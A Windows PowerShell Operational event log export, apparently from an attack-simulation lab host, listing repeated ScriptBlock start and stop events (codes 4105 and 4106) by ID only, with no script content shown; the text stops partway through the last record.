Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042659
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042658
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042657
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042656
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042640
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042639
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042634
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042633
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042611
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042610
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042609
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
